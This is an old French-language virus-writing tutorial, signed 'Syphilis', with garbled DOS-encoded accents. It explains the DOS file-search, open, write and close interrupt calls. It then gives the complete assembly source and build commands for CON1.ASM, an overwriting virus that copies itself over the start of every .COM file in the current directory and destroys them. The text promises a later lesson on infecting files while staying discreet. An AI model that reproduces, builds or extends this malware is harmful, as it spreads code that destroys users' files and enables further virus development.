--------------------------------- THE INTRO ---------------------------------- Alors comme ‡a on veut cr‚er des virus ? Ok suis d accord pour t apprendre mais il faudra 1)t accrocher, 2)bien connaitre l'assembleur, 3)ˆtre imaginatif pour cr‚er de nouveaux virus rigolo ( ne faites pas des virus sadiques, y a assez comme ‡a ). Ce tutorial a juste bien s– un but ‚ducatif et je ne peux bla bla bla bla bla etre responsable des conneries que vous fairez bla bla bla. Bien aprŠs ce petit pr‚ambule attaquons le vrai boulot ! Comment marche un virus ? ------------------------- THE question ke si en y reflechissant bien t aurais pu y r‚pondre tout seul ! Reflechis ( tu peux ? ) HHHHHHHhaaaaaaaaaaaaa tu peux pas ! (comme moi quoi ) Ben en fait examinons de plus prŠs la structure d'un executable COM : WWWWoooooooouuuuaaaaaaaaa Super ! Y a pas de truc compliqu‚ ! Est ecrit sur le disque exactement ce qui doit ˆtre charg‚ en m‚moire ! Donc pas besoin de se compliquer la vie pour infecter un fichier y a ka se recopier dedans et on s executera … la place de celui ci! --------------------------- ALLER GO !!!!!!!!! ------------------------------- I - Infecteur par recouvrement : CON1.ASM ----------------------------------------- Exemple Tout con Beef13 Virus d‚bile 1 Ce programme est tout simple : Il cherche les fichiers COM dans le rep courant et les infecte en se copiant au tout debut du fichier. Mais comment chercher des fichiers ? En utilisant la fonction de l'API DOS appropri‚e. COmment la connaitre ? En lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC. Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions correspondent aux fonctions C findfirst() et findnext() mais ici on n'a pas de ffblk. Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramŠtre en AH le num‚ro de la fonc et en dx l'OFFSET sur une chaine ASCIIZ (qui finit par un zero si t es trop con pour savoir ce que c'est ) avec le nom du fichier … rechercher ( les caractŠres jokers sont accept‚s ). En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier est trouv‚ plein de trucs sont mis dansl la DTA qui est toujours situ‚e … partir de l'OFFSET 80h du PSP. Le nom du fichier se trouve … L OFFSET 9Eh. Pour rechercher un autre fichier, il suffit d'appeler la fonction 4Fh ( mov ah,4Fh) puis int 21h). Bon maintenant on sait chercher des fichiers. Mais comment s'en servir. Souviens toi qu'on a le nom du fihcier qu'on viens de trouver … l offset 9Eh, au debut du segment dans le PSP ( Prefix Segment Program ou l inverse sais plus). Il va encore falloir se servir des fonctions de l'API DOS. Les utiles ici sont au nombre de trois : la 3Dh : ouvrir un fichier (Handle) la 3Eh : fermer un fichier (Handle) la 40h : ‚crire dans un fichier (Handle) Dans le monde de DOS il existe 2 moyens de se servir des fichiers : le FCB et les Handles. Nous utiliserons les Handle qui sont beaucoup plus pratique dans cette situation. pour ouvrir un fichier, il suffit de foutre en AH le num‚ro de la fontion (3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du nom de fichier puis un petit int 21h et le tour est jou‚. Cette fonction renvoie le Handle du fichier en AX. Mais comme toutes les autres fonctions le veulent en BX ou le foutra en BX toute suite grƒce … un xchg ax,bx. Pouis on ecrit deadns le virus au tout d‚but du fichier. Etant donner qu'il viens d'ˆtre ouvert, il est au tout d‚but et pas de soucis … avoir de ce c“t‚ l….Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille et en DX l offset du buffer … ‚crire. Dans notre cas l offset est ‚gal … 100h ( fin du PSP et d‚but du prog). La taille a ‚t‚ cod‚e directement mais on aurait pu mettre un OFFSET machin avec un machin: … la fin du file pour ke tout soit OK. Reste … fermer le fichier avec la fonction 3Eh qui attends le handle en BX et le tour et jou‚. Voici maintenant le fichier. Grƒce … queqlques astuces dans son organisation j ai pu r‚duire sa taille au max. -------------------------- Fichier CON1.ASM --------------------------------- ; CE virus est un virus d‚bile !!!!! .model small ;modele de m‚moire .code ;segment de code ORG 100h ;un COM commence … l adresse m‚moire 100h CON1: mov ah,4Eh ; Rechercher le premier COM du r‚pertoire mov dx,OFFSET FILESPEC int 21h INFECT: jc FIN ; si aucun -> FIN mov ax,3D01h ; un fichier a ‚t‚ trouv‚ : mov dx,9Eh ; l'ouvrir int 21h xchg ax,bx ;Handle en BX mov ah,40h ;Ecrire le virus au d‚but du fichier mov cx,2Dh ;Taille du virus mov dx,100h int 21h mov ah,3Eh ;fermer le fichier int 21h mov ah,4Fh ;chercher fichier suivant int 21h jmp INFECT FIN: ret FILESPEC DB '*.COM',0 ; Doit finir par un z‚ro ! END CON1 ------------------------------- Fin du Fichier ------------------------------- Voil… c'est tout ! Pour le compiler : tasm con1 tlink /t con1 et on a le fichier con1.com Si tu ne compreds pas ce code passes ton chemin ! Si toi tester ce virus, il detruira tous les fichiers COM du r‚pertoire ! C'est un peu ennuyeux si on veux rester discret. Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux ci ayant un en-tˆte precis et pouvant faire pluisieurs segment, ils sont plus compliqu‚s … infecter. Voila c tout pour cette fois ci. La prochaine fois on verra comment ne pas detruire l h“te. Tu peux qd meme y reflechir d ici la c pas bien compliqu‚. Syphilis ( Syphilis@caramail.com )